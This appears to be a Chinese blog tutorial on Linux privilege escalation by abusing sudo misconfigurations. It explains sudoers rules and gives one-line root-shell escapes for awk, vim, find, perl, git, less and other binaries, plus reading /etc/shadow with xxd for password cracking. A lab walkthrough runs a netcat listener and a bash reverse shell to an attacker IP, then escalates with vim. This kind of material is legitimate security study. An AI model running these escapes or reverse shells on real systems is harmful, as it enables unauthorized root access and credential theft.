[权限提升] Linux 提权 & 维持 — 系统错误配置提权 - Sudo 滥用提权

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Sudo 滥用提权原理

Sudo 是一个 Linux 系统管理命令,它允许系统管理员授予普通用户以指定身份执行指定命令的权限。该命令不仅减少了 Root 用户的登录时间和管理时间,同时也提高了系统安全性。

在一些应用场景中,为了方便运维人员以低权限账号进行运维,往往会开启账号的一些 SUDO 权限给运维账号,而 SUDO 权限的授予则是在 /etc/sudoers 文件中进行操作。

0x0101:Sudo 基础 --- Sudo 权限的授予

授予 Sudo 权限是在 /etc/sudoers 文件中以特定格式编辑规则授予的,所以我们需要先来了解一下编辑的规则:

bash 复制代码
 username ALL=(ALL) NOPASSWD: /usr/bin/awk
 ​
 # username => 被授予 Sudo 权限的用户
 # ALL=     => 表示允许从任何终端访问 sudo
 # (ALL)    => 运行身份,ALL 表示可以以任意身份执行命令,不仅仅是 root 哦,不过默认是 root
 # NOPASSWD: => 可选,添加上了表示执行后面的命令不需要密码
 # /usr/bin/awk => 表示可以被 sudo 运行的命令

下面是一些常见的 Sudo 权限授予的示例:

bash 复制代码
 # 允许用户 alice 以任意身份(默认 root)运行所有的命令(需要密码)
 alice ALL=(ALL) ALL
 ​
 # 允许用户组 wheel 中的用户以任意身份运行所有命令
 %wheel ALL=(ALL) ALL
 ​
 # 允许用户 bob 以 root 身份运行特定命令
 bob ALL=(ALL) /usr/bin/vi, /usr/bin/ls
 ​
 # 允许用户 bob 以 www-data 身份运行特定命令,不需要密码
 bob ALL=(www-data) NOPASSWD: /usr/bin/awk

0x0102:Sudo 基础 --- 查看当前用户可以用 Sudo 执行的命令

可以使用下面两条命令中的任意一条查看当前用户可以用 Sudo 执行的命令:

bash 复制代码
 cat /etc/sudoers # 这个需要权限,我们一般查看不了
 sudo -l          # 这个命令有时候不用密码也能运行

不过呢,可惜的是,这两条命令都需要一定的权限或者知道当前用户的密码:

不过笔者测试了一下,sudo -l 这个命令好像被授予了 Sudo 权限的用户执行是可以直接查看内容的,不用输入密码,上面的 defender 用户笔者在测试时是没有授予任何 Sudo 权限的:

0x02:Sudo 滥用提权姿势

Sudo 提权的原理与之前讲解的 [[Linux 提权 & 维持 --- 系统错误配置提权 - SUID 文件提权|SUID 文件提权]] 有异曲同工之妙,都是结合权限与命令的特性进行提权。下面是笔者收集的一些可以进行 Sudo 提权的命令,如果 Sudo 配置文件中配置了 ALL 或者以下命令就可以进行提权:

bash 复制代码
 apt、awk、bash、cat、ed、env、ftp、find、git、less、man、perl、pip、scp、screen、sed、tar、taskset、time、tmux、vi、vim、wget、xxd、zip

0x0201:awk --- Sudo 提权姿势

bash 复制代码
 sudo awk 'BEGIN {system("/bin/sh")}'

0x0202:vim --- Sudo 提权姿势

bash 复制代码
 sudo vim -c '!sh'

0x0203:xxd --- Sudo 提权姿势

xxd 命令有些特殊,无法直接拿到一个 Root 权限的 Shell,但是可以查看 shadow 文件,然后通过爆破拿到 Root 密码后进行提权:

bash 复制代码
 sudo xxd "/etc/shadow" | xxd -r

0x0204:env --- Sudo 提权姿势

bash 复制代码
 sudo env /bin/sh

0x0205:perl --- Sudo 提权姿势

bash 复制代码
sudo perl -e 'exec "/bin/sh";'

0x0206:zip --- Sudo 提权姿势

bash 复制代码
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"

0x0207:sed --- Sudo 提权姿势

bash 复制代码
sudo sed -n '1e exec sh 1>&0' /etc/passwd

0x0208:find --- Sudo 提权姿势

bash 复制代码
sudo find /etc/passwd -exec /bin/sh \;

0x0209:git --- Sudo 提权姿势

1. git --- Sudo 提权环境配置

首先以 Root 身份登录 Linux 系统中,编辑 /etc/sudoers 文件,添加下面这行内容,为 test01 用户赋予 git 的无密码运行 Sudo 权限(需要用 :wq! 退出编辑):

bash 复制代码
test01  ALL=(ALL)       NOPASSWD: /usr/bin/git

2. git --- Sudo 提权姿势教程

git 的 Sudo 提权比较特别,需要使用两条命令(后面还有几条命令用法与 git 是一样的)。切换到 test01 用户,输入下面的命令:

bash 复制代码
sudo git help config

然后键盘再输入下面的命令进行提权:

bash 复制代码
!/bin/sh

0x0210:ftp --- Sudo 提权姿势

ftp 命令的提权方式与前面介绍的 git 类似,也是两条命令:

bash 复制代码
sudo ftp 
!/bin/sh

0x0211:less --- Sudo 提权姿势

less 命令的提权方式与前面介绍的 git 类似,也是两条命令:

bash 复制代码
sudo less /etc/hosts 
!sh

0x0212:ed --- Sudo 提权姿势

ed 命令的提权方式与前面介绍的 git 类似,也是两条命令:

bash 复制代码
sudo ed 
!/bin/sh

0x0213:man --- Sudo 提权姿势

man 命令的提权方式与前面介绍的 git 类似,也是两条命令:

bash 复制代码
sudo man man 
!/bin/sh

0x03:Sudo 滥用提权实战

复现环境

  • 靶机 CentOS 7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.136

0x0301:拿到靶机低权限用户 Shell

提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:

bash 复制代码
nc -lvp 7777

然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:

bash 复制代码
bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

0x0302:查看当前用户可以执行 Sudo 的命令

输入下面的命令查看当前用户可以使用 Sudo 执行的命令:

bash 复制代码
sudo -l

如上,发现 Vim 可以使用 Sudo 执行,且不需要输入密码。

0x0303:Sudo 提权

使用前面介绍的对应命令的 Sudo 提权姿势进行提权:

bash 复制代码
sudo vim -c '!sh'
相关推荐
阿里云云原生2 小时前
云消息队列 ApsaraMQ Serverless 演进:高弹性低成本、更稳定更安全、智能化免运维
运维·安全·serverless
K-D小昊3 小时前
AWS云设施攻击
安全·flask·云计算·aws
初夏081112 小时前
大模型Prompt 提示词攻击,大语言模型安全的潜在威胁
安全·语言模型·大模型·prompt
饮长安千年月13 小时前
CVE-2024-13025-Codezips 大学管理系统 faculty.php sql 注入分析及拓展
开发语言·数据库·sql·网络安全·php
鹤临于青山15 小时前
《从0到1CTFer成长之路》逆向工程个人笔记--静态分析
开发语言·安全
doubt。16 小时前
1.攻防世界 题目名称-文件包含
网络·安全·web安全·网络安全·php·代码复审
黑客Ela20 小时前
网络安全治理架构图 网络安全管理架构
安全·web安全·架构
佛州小李哥1 天前
AI安全最佳实践:AI云原生开发安全评估矩阵(下)
人工智能·科技·安全·ai·语言模型·aws·亚马逊云科技
盐碱地里的木桐1 天前
安全行业大模型SecLLM技术白皮书
网络·人工智能·安全·大模型·安全漏洞